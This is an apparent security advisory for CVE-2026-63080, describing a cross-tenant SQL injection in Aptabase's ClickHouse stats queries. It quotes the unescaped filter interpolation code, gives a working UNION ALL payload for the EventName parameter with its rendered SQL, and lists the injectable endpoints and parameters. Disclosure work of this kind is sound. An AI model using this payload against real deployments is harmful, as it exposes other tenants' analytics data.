CVE-2026-63080: Aptabase, cross-tenant SQL injection via Liquid templates

CVE-2026-63080

Aptabase's stats filters land raw in ClickHouse SQL: SQL injection and cross-tenant data leakage.

Aptabase is an open source analytics solution. The stats for every application live in a single shared ClickHouse events table, isolated only by an app_id column. The stats queries are Liquid templates into which the user-supplied filters (EventName, CountryCode, OsName, DeviceModel, AppVersion) are interpolated.

The problem: these filters are dropped into the SQL without any escaping whatsoever. The argument conversion (src/Features/Stats/ClickHouseQueryClient.cs):

private string? FormatArg(object? value)
{
    return value switch
    {
        string[] s => string.Join("','", s),
        DateTime d => d.ToString("yyyy-MM-dd HH:mm:ss"),
        null => null,
        _ => $"{value}",   // la valeur est collée telle quelle, aucun échappement
    };
}

The value ends up directly inside a SQL string in the template (etc/clickhouse/queries/top_n__v2.liquid):

FROM events
PREWHERE app_id = '{{app_id}}'         -- seule barrière entre tenants
WHERE 1 = 1
...
AND event_name = '{{event_name}}'      -- input utilisateur, dans la chaîne SQL

The rendered result is then executed as raw SQL:

var query = await template.RenderAsync(dict);
return await _conn.QueryAsync<T>(query, cancellationToken);   // SQL brut, non paramétré

On the controller side, these five parameters have no validation at all (no [RegularExpression], nothing), and the HasReadAccessToApp authorization filter checks only the AppId parameter:

// src/Features/Stats/HasReadAccessToAppFilter.cs
var appId = context.HttpContext.Request.Query["AppId"].ToString();
var hasAccess = await db.HasReadAccessToApp(appId, user, ...);   // les filtres ne sont jamais vérifiés

So a single ' in EventName closes the string and lets you write arbitrary SQL. And since every tenant shares the events table, isolated only by PREWHERE app_id = '...', a UNION ALL appends a second SELECT with no app_id filter and reads everyone’s data.

By sending this EventName:

x' GROUP BY Name UNION ALL SELECT app_id as Name, count() as Value FROM events WHERE '1' = '1

the template produces this SQL:

SELECT event_name as Name, count() as Value
FROM events
PREWHERE app_id = 'uUWTm8EnvEC1jgG6Fm8Cd7'          -- app de l'attaquant
WHERE 1 = 1
AND timestamp BETWEEN '2026-03-01 00:00:00' AND '2026-03-31 00:00:00'
AND event_name = 'x' GROUP BY Name                  -- la chaîne est fermée, le 1er SELECT aussi
UNION ALL
SELECT app_id as Name, count() as Value
FROM events WHERE '1' = '1'                          -- second SELECT, aucun filtre app_id
GROUP BY Name
ORDER BY Value DESC

The '1' = '1' absorbs the template’s closing quote. The second SELECT sweeps the entire table: any authenticated user (a free account owning at least one app is enough) can enumerate other tenants’ app_id values, then read their event names, custom properties, and so on. Of the 15 /api/_stats/* endpoints, 13 are injectable (only live-geo and live-sessions take nothing but app_id), through 6 unvalidated parameters: EventName, CountryCode, OsName, DeviceModel, AppVersion, and SessionId, the last of which is interpolated raw into live_session_details__v1 and historical_sessions__v1 (AND session_id = '{{session_id}}').

The attack vector concerns self-hosted deployments configured with ClickHouse (ClickHouseQueryClient, the default backend): that is where the Liquid templates are rendered into raw, non-parameterized SQL. The Tinybird backend (used on the managed cloud) instead passes these filters as server-side pipe parameters, and is not affected by this injection.